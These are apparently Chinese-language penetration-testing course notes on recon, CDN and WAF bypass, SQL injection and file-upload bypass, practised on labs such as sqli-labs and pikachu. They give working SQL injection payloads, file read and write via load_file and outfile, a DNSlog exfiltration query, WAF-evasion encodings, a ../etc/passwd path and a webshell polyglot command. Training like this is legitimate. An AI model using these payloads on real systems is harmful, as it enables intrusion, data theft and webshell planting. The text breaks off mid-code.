网络安全 基础部分

什么是二级域名多级域名?

1.2 DNS

什么是 DNS?

  • 域名系统(Domain Name System)。它是一个域名和IP地址相互映射的一个分布式数据库,

本地 HOSTS 与 DNS 的关系?

  • Hosts在本地将一些常用的网址域名与其对应的IP地址建立一个关联“数据库”,当我们访问域名时,系统会首先自动从Hosts文件中寻找对应的IP地址,一旦找到,系统会立即打开对应网页,如果没有找到,则系统会再将网址提交DNS域名解析服务器进行IP地址的解析。

CDN 是什么?与 DNS 的关系?

  • CDN:是构建在数据网络上的一种分布式的内容分发网。可以提高系统的响应速度,也可以一定程度的拦截/f防御攻击。

常见的 DNS 安全攻击有哪些?

  • 缓存投毒:它是利用虚假Internet地址替换掉域名系统表中的地址,进而制造破坏。

  • DNS劫持:是指在劫持的网络范围内拦截域名解析的请求,分析请求的域名,把审查范围以外的请求放行,否则返回假的IP地址或者什么都不做使请求失去响应,其效果就是对特定的网络不能访问或访问的是假网址。(针对面较广

  • 域名劫持:域名劫持就是在劫持的网络范围内拦截域名解析的请求,分析请求的域名,把审查范围以外的请求放行,否则直接返回假的IP地址或者什么也不做使得请求失去响应,其效果就是对特定的网址不能访问或访问的是假网址。(针对面窄一点

  • DNS DDOS攻击:通过控制大批僵尸网络利用真实DNS协议栈发起大量域名查询请求,利用工具软件伪造源IP发送海量DNS查询,发送海量DNS查询报文导致网络带宽耗尽而无法传送正常DNS查询请求。

1.3 后门

什么是后门?

  • 通常指那些绕过安全性控制而获取对程序或系统访问权的程序方法。

  • 在软件的开发阶段,程序员常常会在软件内创建后门程序以便可以修改程序设计中的缺陷。

后门在安全测试中的实际意义?

  • 可以更方便的链接到主机

  • 在获取到玩主机权限的时候,后门可以充当命令控制台的角色

1.4 WEB 相关安全漏洞

  • WEB 源码类对应漏洞:SQL 注入,上传,XSS,代码执行,变量覆盖,逻辑漏洞,反序列化等

  • WEB 中间件对应漏洞:未授权访问,变量覆盖...

  • WEB 数据库对应漏洞:弱口令,权限提升...

  • WEB 系统层对应漏洞:提权,远程代码执行

  • 其他第三方对应漏洞

  • APP 或 PC 应用结合类

P2. 数据包扩展

2.1 https&http

图片

2.2 Request 请求数据包数据格式

Request Headers

POST /adduser HTTP/1.1
Host: localhost:8030
Connection: keep-alive
Content-Length: 16
Pragma: no-cache
Cache-Control: no-cache
Origin: chrome-extension://fdmmgilgnpjigdojojpjoooidkmcomcm
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/66.0.3359.181 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9

Form Data

  • name=name&age=11

请求行

  • 请求行由三个标记组成:请求方法、请求 URL 和 HTTP 版本,它们用空格分享。

HTTP 规划定义了 8 种可能的请求方法:
GET:检索 URL 中标识资源的一个简单请求
HEAD:与 GET 方法相同,服务器只返回状态行和头标,并不返回请求文档
POST:服务器接受被写入客户端输出流中的数据的请求
PUT:服务器保存请求数据作为指定 URL 新内容的请求
DELETE:服务器删除 URL 中命令的资源的请求
OPTIONS:关于服务器支持的请求方法信息的请求
TRACE:web 服务器反馈 Http 请求和其头标的请求
CONNECT :已文档化,但当前未实现的一个方法,预留做隧道处理

请求头

由关键字/值对组成,每行一对,关键字和值用冒号分享。请求头标通知服务器腾于客户端的功能和标识。
HOST: 主机或域名地址
Accept:指浏览器或其他客户可以接爱的 MIME 文件格式。Servlet 可以根据它判断并返回适当的文件格
式。
User-Agent:是客户浏览器名称
Host:对应网址 URL 中的 Web 名称和端口号。
Accept-Langeuage:指出浏览器可以接受的语言种类,如 en 或 en-us,指英语。
connection:用来告诉服务器是否可以维持固定的 HTTP 连接。http 是无连接的,HTTP/1.1 使用 Keep-Alive
为默认值,这样,当浏览器需要多个文件时(比如一个 HTML 文件和相关的图形文件),不需要每次都建立
连接
Cookie:浏览器用这个属性向服务器发送 Cookie。Cookie 是在浏览器中寄存的小型数据体,它可以记载
和服务器相关的用户信息,也可以用来实现会话功能。
Referer : 表 明 产 生 请 求 的 网 页 URL 。 如 比 从 网 页 /icconcept/index.jsp 中 点 击 一 个 链 接 到 网 页
/icwork/search , 在 向 服 务 器 发 送 的 GET/icwork/search 中 的 请 求 中 , Referer 是
http://hostname:8080/icconcept/index.jsp。这个属性可以用来跟踪 Web 请求是从什么网站来的。
Content-Type:用来表名 request 的内容类型。可以用 HttpServletRequest 的 getContentType()方法取得。
Accept-Charset:指出浏览器可以接受的字符编码。英文浏览器的默认值是 ISO-8859-1.
Accept-Encoding:指出浏览器可以接受的编码方式。编码方式不同于文件格式,它是为了压缩文件并加
速文件传递速度。浏览器在接收到 Web 响应之后先解码,然后再检查文件格式。

空行

  • 最后一个请求头标之后是空行,发送回车符和退行,通知服务器以下不再有头标。

请求数据

  • 使用 POST 传送,最常使用的是 Content-Type 和 Content-Length 头标。

2.3 Response 返回数据包数据格式

Response 返回数据包数据格式

一个响应由四个部分组成;状态行、响应头标、空行、响应数据。
1.状态行:协议版本、数字形式的状态代码和状态描述,个元素之间以空格分隔
2.响应头标:包含服务器类型、日期、长度、内容类型等
3.空行:响应头与响应体之间用空行隔开
4.响应数据:浏览器会将实体内容中的数据取出来,生成相应的页面

HTTP 响应码:

1xx:信息,请求收到,继续处理
2xx:成功,行为被成功地接受、理解和采纳
3xx:重定向,为了完成请求,必须进一步执行的动作
4xx:客户端错误
5xx:服务器错

P3. 搭建安全拓展

域名扫描只能扫描出来域名文件,而域名文件只是占服务器资源的一小部分;IP扫描可以直接扫描出来服务器的根目录,得到的信息更多;

WEB 源码中敏感文件

  • 后台路径,数据库配置文件,备份文件等

3.3 后门注意事项

  • 后门是否给予执行权限

  • 后门是否给予操作目录或文件权限

  • 后门是否给予其他用户权限

P4. WEB 源码拓展

WEB 源码在安全测试中是非常重要的信息来源,可以用来代码审计漏洞也可以用来做信息突破口,其中 WEB 源码有很多技术需要简明分析。

4.1 知识点

  • 关于 WEB 源码目录结构

  • 关于 WEB 源码脚本类型

  • 关于 WEB 源码应用分类

  • 关于 WEB 源码其他说明

4.2 信息敏感点

  • 敏感目录结构:数据库配置文件,后台目录,模版目录,数据库目录等

  • web脚本类型:ASP,PHP,ASPX,JSP,JAVAWEB 等脚本类型源码

  • 应用分类:社交,论坛,门户,第三方,博客等不同的代码机制对应漏洞

  • 开源,未开源问题,框架非框架问题,关于 CMS 识别问题及后续等

  • 关于源码获取的相关途径:搜索,咸鱼淘宝,第三方源码站

关注应用分类及脚本类型估摸出可能存在的漏洞(其中框架类例外),在获取源码后可进行本地安全测试或代码审计,也可以分析其目录工作原理(数据库备份,bak 文件等),未获取到的源码采用各种方法想办法获取。

图片

P5. 系统&数据库

图片

5.1 操作系统层面

识别操作系统常见方法

  • 看字母大小写,windows对大小写不敏感,Linux敏感

  • 看ping值 --ttl在64左右,linux --ttl在128左右windows

  • nmap -O ip

简要两者区别及识别意义情况

  • 可以帮助我们明确思路

  • 可以筛选掉不符合系统的情况

操作系统层面漏洞类型对应意义

  • 覆盖面广

  • 获取的权限高

  • 危害性大

5.2 数据库层面

识别数据库类型常见方法

  • nmap -O ip

  • nmap ip -p 端口,通过端口开放反推数据库

数据库类型区别及识别意义

  • 数据库的漏洞和类型相性很强

  • 不同数据库漏洞爆发点不太一样

  • 确定数据库类型、版本,会对渗透有很大帮助

数据库常见漏洞类型及攻击

  • 弱口令

  • sql注入

简要数据库层面漏洞影响范围

  • 要参考数据库的重要程来判定影响范围

服务器端口

  • 关系型数据库 --MySQL:3306 --SqlServer:1433 --Oracle:1521

  • NOSQL数据库 --MongoDB:27017 --Redis:6379 --memcached:11211

第三方

  • 如何判断那些有第三方平台或软件 -- 端口扫描 -- 特征匹配

  • 简要为什么要识别第三方平台或软件 -- 可以提供额外的攻击面

  • 常见第三方平台或软件漏洞类型及攻击 -- 弱口令

  • 简要第三方平台或软件安全测试的范围

除去常规WEB安全及APP安全测试外,类似服务器单一或复杂的其他服务( 邮件,游戏,负载均衡等),也可以作为安全测试目标,此类目标测试原则只是少了WEB应用或其他安全问题。所以明确安全测试思路是很重要的!

P6. 加密算法

6.1 常见加密编码等算法解析

  • MD5,SHA,ASC,进制,时间戳,URL,BASE64,Unescape,AES,DES 等

6.2 常见加密形式算法解析

  • 直接加密,带 salt,带密码,带偏移,带位数,带模式,带干扰,自定义组合等

6.3 常见解密方式

  • 枚举,自定义逆向算法,可逆向

6.4 了解常规加密算法的特性

  • 长度位数,字符规律,代码分析,搜索获取等

6.5 工具

AES加密

图片

图片

P7. DNS 绕过

CDN的全称是Content Delivery Network,即内容分发网络。CDN是构建在现有网络基础之上的智能虚拟网络,依靠部署在各地的边缘服务器,通过中心平台的负载均衡、内容分发、调度等功能模块,使用户就近获取所需内容,降低网络拥塞,提高用户访问响应速度和命中率。但在安全测试过程中,若目标存在CDN服务,将会影响到后续的安全测试过程。

图片

7.1 判断是否有CDN

看响应时间

图片

ping ip或域名,看是否会出现变化

图片

图片

nslookup 域名,看是否会有很多节点

图片

7.2 CDN对测试有何影响&如何绕过

  1. 子域名查询:有的网站主域名会做CDN,但是子域名可能不会做

  2. 邮件服务查询:我们访问别人,可能通过CND,但别人访问我们通常不会走CDN

  3. 国外地址请求:国外没有cdn节点的话,可能直接走原ip

  4. 遗留文件,扫描全网

  5. 黑暗引擎搜索特定文件

  6. dns历史记录,以量打量:CDN节点是有流量上限的,用光之后就会直通原机,这也是一种流量攻击

7.3 测试

子域名上面的小技巧

  • 二级域名和三级域名查到的结果可能不一样

  • 主域名和子域名查询到的可能不一样: m.  www.

  • DNs历史记录=第三方接口(接口查询)

  • 采集/国外请求( 同类型访问)

  • 邮件源码测试对比第三方查询(地区分析)

  • 黑暗引擎(shodan搜指定hash文件)

  • 扫全网 fuckcdn,w8 fuckcdn,zmap等

  • 工具扫描

  • 图片

  • 认为判定,根据网站的域名备案推测

  • 本地清下dns,然后hosts里写上得到的ip和域名,如果是cdn可能会出现刷新异常,如果打开很快大概率是原机

资源

https://www.shodan.io https://x.threatbook.cn http://ping.chinaz.com https://www.get- site- ip.com/ https://asm.ca.com/en/ping.php https://github.com/boy-hack/w8fuckcdn

P8. 架构、搭建、waf

图片

源码获取技术 架构信息获取

8.1 站点搭建分析

  • 搭建习惯-目录型站点

  • 搭建习惯-端口类站点

  • 搭建习惯-子域名站点(两套CMS):可能不在同一服务器上 bbs. www.

  • 搭建习惯-类似域名站点 :网站经常换域名

  • 搭建习惯-旁注(同服务器不同站点) / c段站点(不同服务器,不同站点)

  • 搭建习惯-搭建软件特征站点

8.2 WAF防护分析

  • 什么是WAF应用? --  Web应用防护系统(也称为:网站应用级入侵防御系统。英文:Web Application Firewall,简称:WAF)。

  • 如何快速识别WAF?

          wafw00f

P9. APP及其他资产

在安全测试中,若WEB无法取得进展或无WEB的情况下,我们需要借助APP或其他资产在进行信息收集,从而开展后续渗透

9.1 APE提取一键反编译提取

  • 使用反编译工具,尝试获取包了里的源码

9.2 APP抓数据包进行工具配合

  • 使用burp suite设置代理,或者wireshark抓数据包,进行分析

9.3 各种第三方应用相关探针技术

      (思路:各种端口、接口进行乱扫),找到域名对应的IP,找攻击面

  • https://www.shodan.io/

  • https://fofa.so/

P10. 资产监控拓展

Github监控 -- 便于收集整理最新exp或poc -- 便于发现相关测试目标的资产

各种子域名查询 DNS,备案,证书 全球节点请求cdn

-- 枚举爆破或解析子域名对应 -- 便于发现管理员相关的注册信息

黑暗引擎相关搜索 -- fofa,shodan, zoomeye 微信公众号接口获取dgh

图片

资源

https://crt.sh https://dnsdb.io https://sct.ftqq.com/login https://tools ipip.net/cdn.php https://github.com/bit4woo/teemo https://securitytrails.com/domain/www.baidu.com/history/a


# SQL注入(11-18)

P11. 漏洞介绍

图片

11.1 PHP 遍历一个文件夹下所有文件和子文件夹的方法

<?php
function my_dir($dir) {
 $files = [];
 if(@$handle = opendir($dir)) {
  while(($file = readdir($handle)) !== false) {
   if($file != ".." && $file != ".") {
    if(is_dir($dir . "/" . $file)) { //如果是子文件夹,进行递归
     $files[$file] = my_dir($dir . "/" . $file);
    } else {
     $files[] = $file;
    }
   }
  }
        closedir($handle);
    }
 return $files;
}

echo "<pre>";
print_r(my_dir("./"));
echo "</pre>";

如果报错:PHP Parse error:  syntax error, unexpected '[' in /usercode/file.php on line 4,切换到拍php 5.4 及以上版本就可以了

P12. 认识SQL注入

sql注入就是在数据交互中,前端数据传到后台时没有做严格的判断,导致传进来的数据被拼接到sql语句中,被当作sql语句的一部分进行执行,从而导致数据泄露,丢失甚至服务器瘫痪。如果代码中没有过滤或者过滤不严谨是会出现漏洞的。

SQL注入能够直接操作数据

图片

  • 下列链接可能存在注入,第四是post提交,也会存在注入。

  • 图片

  • 下列2、3测试正确,x有注入就在x后面测试。

  • 图片

12.1 注入时信息收集

图片

如何判断注入:

判断注入
and 1=1 正常
and 1=2 错误
可能存在注入,其实归根结底就是看我们的输入会不会对网站造成影响,即我们的操作有效

order by 默认是升序

  • 在mysql5.0以上版本存在一个 information_schema的数据库,它记录着所有的数据库,表明,列名。

  • 图片

  • 数据库中“.”代表下级 ;拼接所有group_concat()

  • select * information_schema.tables;记录所有表名

  • where table_name=''筛选条件

  • select * from information_schema.columns;记录所有的列名

  • where column_name=''筛选条件

  • wherw table_schema=''筛选条件

信息收集

  • 判断数据字段order by x 根据正确域错误的格式来判断个数,然后select 1,2,3,...

  • 查询数据库版本: version()

  • 数据库名字 database()

  • 数据库用户 user()

  • 操作系统 @@version_compile_os

总结:

  • 拿到网站首先判断网站是否存在注入简短的判断 and 1=1   and 1=2
  • 然后判断数据库中表的列数:使用 order by
  • 然后让原先的条件失效,看页面返回的结果,都显示的什么
  • 信息收集:

              操作系统:@@version_compile_os

              数据库版本:version()

              数据库名字:database()

              数据库用户:user()

  • 看数据库版本是否在5.0以上,5.0以上有个数据库information_schema的数据库,它记录着所有的数据库,表明,列名。
  • 用sql语句找数据,加上加密解密知识点

P13. MySQL注入

图片

图片

  • 127.0.0.1:8888/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata爆出所有数据库

  • 图片

  • 127.0.0.1:8888/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'pikachu'获取特定数据库表名

  • 图片

  • 127.0.0.1:8888/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' and table_schema = 'pikachu'获取特定数据库特定表列数据

  • 图片

  • http://127.0.0.1:8888/Less-2/?id=-1 union select 1,username,password from pikachu.users查询user的数据

  • 图片

文件读写操作
load_file():读取函数
into outfile或iinto dumpfile:导出函数
获取路径的常见方法
报错显示、遗留文件、漏洞报错、平台配置文件、爆破等、
  • http://127.0.0.1:8888/Less-2/?id=-1%20union%20select%201,load_file(%27D:\\Software\\PhpStudy\\phpstudy_pro\\WWW\\sqli-labs-master\\sql-connections\\db-creds.inc%27),3读取本地文件

  • 图片

  • http://127.0.0.1:8888/Less-2/?id=-1%20union%20select%201,%20%27x%27%20,3%20into%20outfile%20%27D:\\x.php%27%20--+本地文件写入

  • 图片

  • magic_quotes_gpc

  • 当magic_quotes_gpc = On时,输入数据中含单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符,都会被加上反斜线    解决办法:采用编码或者宽字节绕过

P14. SQL注入之类型提交注入

在真实SQL注入安全测试中,我们一定要先明确提交数据及提交方法后再进行注入,其中提交数据类型和提交方法可以通过抓包分析获取,后续安全测试中我们也必须满足同等的操作才能进行注入。

图片

#简要明确参数类型
数字,字符,搜索,JSON等
数字可以直接加在sql中
字符就要通过单双引号接入sql语句中

#简要明确请求方法|
GET, POST, COOKIE, REQUEST, HTTP头等

其中SQI语句干扰符号:  ', ", %, ), } 等,具体需看写法
'"]})可以作为默认测试写法

明确参数类型和提交方式

  • JSON数据形式

  • curl -X POST https://api.zoomeye.org/user/login -d
    {
     "username": "foo@bar.com",
        "password": "foobar"
    }
    
    
    

P15. SQL注入之Oracle、MongoDB等注入

图片

图片

  • json的双引号不需要闭合,需要闭合的是SQL语句中的单引号或双引号

  • a=1 and 1=1&b=2&c=3
    
    {
     "a": "1 and 1=1"
        "b": "2"
     "c": "3"
    }
    
简要学习各种数据库的注入特点
Access, mysql ,mssql(sql server) mongoDB, postgresql, sqlite,oracle, sybase等
Access数据库放在网站下

数据库架构组成,数据库高权限操作

简要学习各种注入工具的使用指南
熟悉工具的支持库,注入模式,优缺点等
Sqlmap, NoSQLAttack, Pangolin等
access结构
		表名
				列名
						数据
mysql、mssql等
		数据库A
				表名
						列名
								数据
		数据库B
				。。。
						。。。	
								。。。

15.1 Access注入测试

图片

  • sqlmap会误报,如下图

  • 图片

  • 手动测试,因为access没有数据库,可以直接查数据

  • 遗留问题:如果access猜不出来怎么办?

    图片

15.2 Sql Server

  • 我们获取的数据库权限会影响我们的下一步的测试思路

  • 高权限直接测试

  • 低权限就一步一步获取数据

15.3 sqlmap测试

图片

sqlmap全参数详解

15.5 MongoDB

  • MongoDB 是一个基于分布式文件存储的数据库。由 C++ 语言编写。旨在为 WEB 应用提供可扩展的高性能数据存储解决方案。

  • MongoDB 是一个介于关系数据库和非关系数据库之间的产品,是非关系数据库当中功能最丰富,最像关系数据库的。

  • 数据传输采用JSON传输。

  • tojson函数可以输出json数据

16. WEB漏洞-SQL注入之查询方式及报错盲注

当进行SQL注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是SQL语句查询方式的问题导致,这个时候我们需要用到相关的报错或盲注进行后续操作,同时作为手工注入时,提前了解或预知其SQL语句大概写法也能更好的选择对应的注入语句。

select查询数据
在网站应用中进行数据显示查询操作
例: select * from news where id=$id

insert插入数据
在网站应用中进行用户注册添加等操作
例: insert into news (id, url, text) values (2, 'x','$t')

delete删除数据
后台管理里面删除文章删除用户等操作
例: delete from news where id=$id 

update更新数据
会员或后台中心数据同步或缓存等操作
例: update user set pwd='$p' where id=2 and username= 'admin'

order by排序数据
一般结合表名或列名进行数据排序操作
例: select * from news order by $id
例: select id, name, price from news order by $order

重点理解:
我们可以通过以上查询方式与网站应用的关系,注入点产生地方或应用猜测到对方的SQL查询方式

pikachu漏洞练习平台
SQL注入报错盲注
盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。我们可以知道盲注分为以下三类:

基于布尔的SQL盲注-逻辑判断
regexp, like, ascii, left, ord, mid

基于时间的SQL盲注-延时判断
if, sleep

基于报错的SQL盲注-报错回显
floor, updatexml,extractvalue

https://www.jianshu.com/p/bc35f8dd4f7c

参考:
like 'ro%'     #判断ro或ro.. .是否成立
regexp '^xiaodi[a-z]'   #匹配xiaodi及xiaodi...等
if(条件,5,0)    #条件成立返回5反之返回0
sleep(5)     #sQI语句延时执行5秒
mid(a,b,c)     #从位置b开始,截取a字符串的c位
substr(a,b,c)    #从b位置开始,截取字符串a的c长度
left(database(),1),database() #left(a,b)从左侧截取a的前b位
length(database())=8   #判断数据库database ()名的长度
ord=ascii ascii(x)=97   #判断x的asci i码是否等于97
Payload:
pikachu insert
username=x' or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e)))
from information_schema.tableslimit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
or '&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit

username=x' or updatexml(1,concat(0x7e,(version())),0) or
'&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit

username=x' or extractvalue(1,concat(0x7e,database())) or
'&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit

pikachu update
sex=%E7%94%B7&phonenum=13878787788&add=hubeNicky' or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or '&email=wuhan&submit=submit 

sex=%E7%94%B7&phonenum=13878787788&add=hubeNicky' or updatexml(1,concat(0x7e,(version())),0) or '&email=wuhan&submit=submit

sex=%E7%94%B7&phonenum=13878787788&add=Nicky' or extractvalue(1,concat(0x7e,database())) or '&email=wuhan&submit=submit


pikachu delete
/pikachu/vul/sqli/sqli_del.php?id=56+or+(select+1+from(select+count(*),concat(floor(rand(0)*2),0x7e,(database()),0x7e)x+from+information_schema.character_sets+group+by+x)a)

pikachu/vul/sqli/sqli_del.php?id=56+or+updatexml+(1,concat(0x7e,database()),0)

/pikachu/vul/sqli/sqli_del.php?id=56+or+extractvalue(1,concat(0x7e,database()))

16.1 判断注入点

图片

这四个位置都会接收我们传过去的数值,正常都可以作为注入点,只要可以对测试代码作出反应就可以。

16.2 针对无回显的布尔、延迟

mysql_fetch_array:无回显函数

SQL注入

延时盲注:利用 and 链接正确语句,让if判断脚本对错,两个联合起来再通过时间来给出反馈,判断脚本是否执行正确。
and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+
and if(ascii(substr((select table_name from information_schema.tables where table_schema=database()
limit 0,1),1,1))=101,sleep(3),0)--+
  • 数据库是security就延时5秒,否则不延迟

  • http://sqli-labs:8600/Less-2/?id=1 and sleep(if(database()= 'security',5,0))--+

在这里插入图片描述

图片

  • 判断数据库位数

  • http://sqli-labs:8600/Less-2/?id=1%20and%20sleep(if(length(database())=8,5,0))--+

  • 图片

在这里插入图片描述

补充

ccess偏移注入:解决列名获取不到的情况 查看登陆框源代码的表单值或观察URL特征等也可以针对表或列获取不到的情况

17. SQL注入之二次,加解密,DNS等注入

图片

DNSlog:解决了盲注不能回显数据,效率低的问题

17.1 二次注入

图片

图片

  • 第一个是原有的,第二个是我们注册的,当我们修改第二个的密码的时候,由于存在‘#,数据库会判断错误,相当于修改了第一个的密码。

  • 图片

图片

17.2 DNSlog

  • DNSlog可以解决无回显问题

  • mysql> select * from users where id=1 and if((select load_file(concat('\\\\',(select version()),'.eii0i8.ceye.io\\abc'))),1,0);Empty set (21.14 sec)

图片

图片

在这里插入图片描述

将url和注入语句分开
<?php
$url='http://xxx/job_bystjb/yjs_byszjs.asp?id=';
$payload=base64_encode($_GET['x']);
echo $payload;
$urls=$ur1.Spayload; 
file_get_contents($urls);
echo $urls;
?>

18. SQL注入之堆叠及WAF绕过注入

图片

在这里插入图片描述

  • 堆叠注入:就是一堆sql语句一起执行,语句中一个 ; 表示语句结束,那多个语句连接到一起执行。

  • 图片

18.1 应用场景

堆叠注入

  • 注入需要管理员帐号密码,密码是加密,无法解密

  • 堆叠注入时插入数据,用户密码自定义的,可以正常解密登录

特殊符号

  • 某些符号并不影响sql语句执行,但可以绕过waf检测

  • 图片

  • 图片

安全狗拦截

  • 安全狗的一些防护策略

  • 图片

图片

图片

  • 可以绕过安全狗

  • 图片

  • 安全狗匹配的时候匹配的是

  • 1/**-1 union select 1,2,3#*/或1/**&id=-1%20union%20select%201,2,3%23*/其中符号中起到注释作用,正常情况下没有执行,安全狗直接不管,但是参数污染导致接受的真实数据是-1 union select 1,2,3#*/能正常执行sql

  • 可以换提交方式来绕过

用来绕过安全狗waf
%23==》url编码==》#
%0a==》url编码==》换行
%20==》url编码==》空格

用来分割语句的符号
/*!*/

原理
安全狗检测渗透脚本是采用整体验证,例如:unint select 这个整体
可以使用以上方法,使用unint/*!*/select可不触发waf
 

参数污染

如果出现多个相同参数,不同的服务器搭建网站会出现参数接受的差别,从而令原有的参数失效。

图片

19. SQL注入之SQLMAP绕过WAF

图片

  • 在攻防实战中,往往需要掌握一些特性,比如服务器、数据库、应用层、WAF层等,以便我们更灵活地去构造Payload,从而可以和各种WAF进行对抗,绕过安全防御措施进行漏洞利用。

19.1 绕过的方法-白名单

方式一:IP白奖单
从网络层获取的ip,这种一般伪造不来,如果是获取客户端的IP,这样就可能存在伪造IP绕过的情况。
测试方法:修改http的header来bypass waf
x-forwarded-for
x-remote-IP
x-originating-IP
x-remote-addr
x-Real-ip

方式二:静态资源
特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css等等),类似白名单机制,waf为了检测效率,不去检测这样一些静态文件名后缀的请求。
http://10.9.9.201/ sql.php?id=1
http://10.9.9.201/sql.php/1.js?id=1
备注: Aspx/php只识别到前面的.aspx/.php后面基本不识别

方式三:url白名单
为了防止误拦,部分waf内置默认的白名单列表,如admin/manager/system等管理后台。只要url中存在白名单的字符串,就作为白名单不进行检测。常见的url构造姿势:
http://10.9.9.201/sql.php/admin.php?id=1
http://10.9.9.201/sql.php?a=/manage/&b=../etc/passwd
http://10.9.9.201/../../../ manage/../sql.asp?id=2
waf通过/manage/"进行比较,只要uri中存在/manage/就作为白名单不进行检测,这样我们可以通过/sql.php?a=/manage/&b=../etc/passwd 绕过防御规则。

方式四:爬虫白名单
部分waf有提供爬虫白名单(各大浏览器的爬虫)的功能,识别爬虫的技术一般有两种:
1、根据useragent 
2、通过行为来判断
UserAgent可以很容易欺骗,我们可以伪装成爬虫尝试绕过。User Agent switcher (Firefox附加组件),下载地址:
https : //addons.mozilla.org/en-us/firefox/addon/user-agent-switcher/
payload

%23==》url编码==》#
%0a==》url编码==》换行
%20==》url编码==》空格

%23x%0aunion%23x%0Aselect%201,2,3

%20union%20/*!44509select*/%201,2,3    /*!44509select*/:通过插入版本号(4.45.09),绕过检测机制
%20/*!44509union*/%23x%0aselect%201,2,3

id=1/**&id=-1%20union%20select%201,2,3%23*/				特殊符号

%20union%20all%23%0a%20select%201,2,3%23

有时注入语句没有问题,但是就是注入进不去,可能WAF检测了注入工具

  • sqlmap发的包带了自己的工具头

  • 图片

  • 判定方法一:WAF日志

  • 图片

  • 判定方法二:WAF防护规则

  • 图片

  • 判定方法三:抓包

  • 图片

  • 解决方法:

  • 思路一:采用sqlmap的随机agent头方法

  • 图片

  • 思路二:采用搜索引擎的头

  • 图片

  • 指定采用百度的头

  • 图片

图片

SQLMap说明

扩展一:有的WAF检测的是其他字段,可以使用burp抓包进行替换这个字段,来进行绕过。(只是修改一个) 扩展二:将注入语句生成txt文件,放在sqlmap目录下跑。(可以支持跑多个)

19.2 采用工具注入会被拉黑

  • 解决方法一:采用延时注入

  • 图片

  • 解决方法二:采用代理池


# 20. 文件上传基础及过滤方法(20-24)

图片

图片

什么是文件上传漏洞?

  • 指程序对文件的上传未作全面的限制,导致用户可以上传一些超越用户权限的一些文件,可以是木马,shell脚本,病毒等。

文件上传漏洞有哪些危害?

  • 可以通过文件上传漏洞上传webshell后门。

文件上传漏洞如何查找及判断?

  • 黑盒:使用扫描工具扫描打开网站。

  • 黑盒:测试会员中心,测试后台。

  • 白盒:直接撸源代码。

文件上传漏洞有哪些需要注意的地方?

  • 拿到漏洞后要对漏洞类型进行区分,编辑器、第三方应用、常规等。

关于文件上传漏洞在实际应用中的说明?

  • 上传后门脚本获取网站权限。

20.1 演示案例

  • 常规文件上传地址的获取说明:上传的文件要执行的话,要按照对应代码执行。

  • 不同格式下的文件类型后门测试

  • 配合解析漏洞下的文件类型后门测试本地文件:上传+解析漏洞=高危漏洞。

  • 测试某CMS及CVE编号文件上传漏洞测试:这种第三方插件的漏洞测试和常规漏洞测试是不一样的。

21. 文件上传黑白名单绕过

图片

文件上传常见验证:
后缀名,类型、文件头等
后缀名:黑名单、白名单
文件类型:MIME信息
文件头:内容头信息
方法:查看源码、抓包修改包信息

%00截断(针对地址上的):可以把这个放在文件名内,绕过检测。get:会自动解码

post:不会自动解码,所以想以post提交数据%00需要把它进行url编码变成%25%30%30

过滤规则

<?php
include '../config.php';
include '../common.php';
include '../head.php';
include '../menu.php';

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
?>

22. 文件上传之内容逻辑数组绕过

图片一句话制作方法:copy 1.png /b + shell.php /a webshell.jpg
文件头检测
图像文件信息判断
逻辑安全=二次渲染:指的是网站接受目标后会再进行操作,也就是说会对文件进行二次操作。
逻辑安全-条件竞争:有的网站会对上传的文件进行上传后再验证(上传过程不进行验证),这样文件会暂时保存到服务器上,可以趁程序未对此文件进行操作(例如改名,移位等),访问文件进行占用,产生条件竞争。
目录命名-x.php/.  :这种命名方法会保存为一个x.php文件
脚本函数漏洞-CVE-2015-2348:
数组接受+目录命名

解析漏洞

图片

  • 这段代码存在逻辑判断问题,可以通过逻辑竞争来进行注入。

#靶场17关代码
$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
